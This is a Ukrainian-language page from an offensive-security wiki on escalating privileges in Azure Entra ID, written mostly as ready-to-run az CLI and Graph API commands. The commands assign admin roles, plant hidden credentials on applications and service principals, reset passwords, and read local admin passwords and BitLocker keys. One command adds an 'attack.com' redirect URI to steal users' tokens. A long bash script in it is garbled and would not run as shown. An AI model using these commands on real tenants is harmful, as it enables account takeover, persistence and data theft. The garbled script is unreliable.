Az - EntraID Privesc

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Note

Зверніть увагу, що не всі гранулярні дозволи, якими володіють вбудовані ролі в Entra ID, доступні для використання в користувацьких ролях.

Ролі

Роль: Privileged Role Administrator

Ця роль містить необхідні гранулярні дозволи для призначення ролей принципалам та для надання додаткових дозволів ролям. Обидві дії можуть бути зловжиті для ескалації привілеїв.

  • Призначити роль користувачу:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • Додати більше дозволів до ролі:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

Додатки

microsoft.directory/applications/credentials/update

Це дозволяє атакувальнику додати облікові дані (паролі або сертифікати) до існуючих додатків. Якщо додаток має привілейовані дозволи, атакувальник може автентифікуватися як цей додаток і отримати відповідні привілеї.

# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

Це дозволяє ті самі дії, що й applications/credentials/update, але поширюється лише на додатки одного каталогу.

az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

Додавши себе як власника, зловмисник може маніпулювати додатком, зокрема обліковими даними та дозволами.

az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

Атакуючий може додати redirect URI до applications, які використовують users цього tenant, а потім поділитися з ними login URLs, що використовують новий redirect URL, щоб викрасти їхні tokens. Зауважте, що якщо user вже був увійшов у application, authentication відбудеться автоматично — user не потрібно нічого accept.

Також можливо змінити permissions, які запитує application, щоб отримати більше привілеїв, але в цьому випадку user повинен буде знову accept prompt, який запитує всі permissions.

# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

Ескалація привілеїв додатків

As explained in this post було дуже часто знаходити стандартні додатки, яким призначено API permissions типу Application. API Permission (як це називається в консолі Entra ID) типу Application означає, що додаток може отримувати доступ до API та виконувати дії без контексту користувача (без входу користувача в додаток) і без потреби в ролях Entra ID для цього. Тому дуже часто можна знайти додатки з високими привілеями в кожному тенанті Entra ID.

Отже, якщо зловмисник має будь-який дозвіл/роль, що дозволяє update the credentials (secret o certificate) of the application, він може згенерувати новий credential і потім використати його, щоб authenticate as the application, отримавши всі permissions, які має додаток.

Зверніть увагу, що згаданий блог наводив деякі API permissions стандартних Microsoft додатків, однак через деякий час після цього звіту Microsoft виправила цю проблему, і тепер неможливо login as Microsoft applications. Проте все ще можливо знайти custom applications with high privileges that could be abused.

How to enumerate the API permissions of an application:

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Знайти всі дозволи API додатків і позначити API, що належать Microsoft ```bash #!/usr/bin/env bash set -euo pipefail

Known Microsoft first-party owner organization IDs.

MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )

is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }

get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”

value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi

if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi

[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }

command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null

apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”

tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT

Build unique resourceAppId values used by applications.

jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”

Resolve resourceAppId -> owner organization + API display name.

while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”

echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”

Print all app API permissions and mark if the target API is Microsoft-owned.

while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“

while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“

[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”

if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi

permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)

echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)

</details>

## Service Principals

### `microsoft.directory/servicePrincipals/credentials/update`

Це дозволяє зловмиснику додавати облікові дані до існуючих service principals. Якщо service principal має підвищені привілеї, зловмисник може отримати ці привілеї.
```bash
az ad sp credential reset --id <sp-id> --append

Caution

Новий згенерований пароль не з’явиться у web-консолі, тому це може бути прихований спосіб збереження persistence над service principal.
Через API їх можна знайти за допомогою: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

If you get the error "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." it’s because it’s not possible to modify the passwordCredentials property of the SP and first you need to unlock it. For it you need a permission (microsoft.directory/applications/allProperties/update) that allows you to execute:

az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

Це дозволяє зловмиснику додавати credentials до існуючих service principals. Якщо service principal має підвищені привілеї, зловмисник може узяти на себе ці привілеї.

az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

Подібно до applications, цей дозвіл дозволяє додавати більше власників до service principal. Володіння service principal дає можливість контролювати його credentials та permissions.

# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

Caution

Після додавання нового власника я спробував його видалити, але API відповів, що метод DELETE не підтримується, навіть якщо саме цей метод потрібно використовувати для видалення власника. Тому зараз ви не можете видаляти власників.

microsoft.directory/servicePrincipals/disable та enable

Ці дозволи дозволяють відключати та вмикати service principals. Зловмисник може використати цей дозвіл, щоб увімкнути service principal, до якого він якимось чином отримає доступ, і таким чином ескалювати привілеї.

Зауважте, що для цієї техніки зловмиснику знадобляться додаткові дозволи, щоб узяти під контроль увімкнений service principal.

# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

Ці дозволи дозволяють створювати та отримувати credentials для single sign-on, що може надати доступ до third-party applications.

# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

Групи

microsoft.directory/groups/allProperties/update

Цей дозвіл дозволяє додавати користувачів до привілейованих груп, що може призвести до privilege escalation.

az ad group member add --group <GroupName> --member-id <UserId>

Примітка: Цей дозвіл не поширюється на Entra ID role-assignable groups.

microsoft.directory/groups/owners/update

Цей дозвіл дозволяє стати власником груп. Власник групи може контролювати членство та налаштування групи, що потенційно може призвести до ескалації привілеїв у межах групи.

az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

Примітка: Ця дозвола не поширюється на role-assignable groups в Entra ID.

microsoft.directory/groups/members/update

Ця дозвола дає змогу додавати учасників до групи. Зловмисник може додати себе або шкідливі облікові записи до привілейованих груп, що може надати підвищений доступ.

az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

Цей дозвіл дозволяє оновлювати правило членства в динамічній групі. Зловмисник може змінити динамічні правила так, щоб додати себе до привілейованих груп без явного додавання.

groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

Примітка: Цей дозвіл не поширюється на Entra ID role-assignable groups.

Dynamic Groups Privesc

Можливо, користувачі зможуть підвищити свої привілеї, змінюючи власні властивості, щоб бути доданими як члени dynamic groups. Для отримання додаткової інформації див.:

Az - Dynamic Groups Privesc

Користувачі

microsoft.directory/users/password/update

Цей дозвіл дозволяє скинути пароль для користувачів без прав адміністратора, що дає змогу потенційному зловмиснику підвищити привілеї інших користувачів. Цей дозвіл не можна призначити користувацьким ролям.

az ad user update --id <user-id> --password "kweoifuh.234"

microsoft.directory/users/basic/update

Цей дозвіл дозволяє змінювати властивості користувача. Часто зустрічаються динамічні групи, які додають користувачів на основі значень властивостей; тому цей дозвіл може дозволити користувачу встановити потрібне значення властивості, щоб стати членом конкретної динамічної групи та підвищити свої права.

#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

Conditional Access Policies & MFA bypass

Неправильно налаштовані conditional access policies, які вимагають MFA, можуть бути обійдені — перевірте:

Az - Conditional Access Policies & MFA Bypass

Пристрої

microsoft.directory/devices/registeredOwners/update

Ця дозвола дає зловмисникам можливість призначити себе власниками пристроїв, щоб отримати контроль або доступ до налаштувань та даних, специфічних для пристрою.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

Цей дозвіл дозволяє зловмисникам пов’язувати свій обліковий запис із пристроями, щоб отримати доступ або обійти політики безпеки.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

Цей дозвіл дозволяє атакувальникам читати властивості резервних копій облікових даних локального облікового запису адміністратора для пристроїв, приєднаних до Microsoft Entra, включаючи password

# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

Цей дозвіл надає доступ до BitLocker keys, що може дозволити зловмиснику розшифрувати диски та скомпрометувати конфіденційність даних.

# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

Інші цікаві дозволи (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks